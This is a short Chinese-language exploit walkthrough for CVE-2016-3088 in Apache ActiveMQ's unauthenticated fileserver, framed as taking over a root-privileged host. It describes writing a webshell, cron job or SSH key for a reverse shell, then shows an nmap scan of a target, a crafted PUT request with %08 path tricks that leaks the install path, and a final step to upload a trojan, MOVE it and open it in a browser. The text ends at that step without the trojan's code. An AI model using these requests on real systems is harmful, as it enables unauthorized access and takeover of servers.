Active MQ Fileserver 远程代码执行（CVE-2016-3088）

ActiveMQ漏洞( CVE-2016-3088)利用拿下root权限主机

前言：

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器，它为基于 Java 的 web 容器，例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

ActiveMQ 的 web 控制台分三个应用，admin、api 和 fileserver，其中 admin 是管理员页面，api 是接口，fileserver 是储存文件的接口；admin 和 api 都需要登录后才能使用，fileserver 无需登录；

fileserver是一个RESTful API接口，我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作；

利用方法：写入webshell，好处是门槛低更方便，但fileserver不解析jsp，admin和api两个应用都需要登录才能访问，所以有点鸡肋；写入cron或ssh key，好处是直接反弹拿shell，也比较方便，缺点是需要root权限。

1.扫描目标主机

MacPC:~ liuxin$ nmap -Pn -p8161 -sV 192.168.xx.xx --open

Starting Nmap 6.47 ( http://nmap.org ) at 2016-07-19 11:23 CST
Nmap scan report for 192.168.xx.xx
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
8161/tcp open http Jetty 7.6.7.v20120910

2.爆ActiveMQ路径

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1

Host: 192.168.12.89:8161

Content-Length: 13

fdsafdsfadfas

返回如下

HTTP/1.1 500 /home/pbcsapp/apache-activemq-5.7.0/webapps/fileserver//.././ (No such file or directory)

Content-Length: 0

Server: Jetty(7.6.7.v20120910)

得到绝对路径

3.上传木马并MOVE到fileserver/目录

浏览器访问木马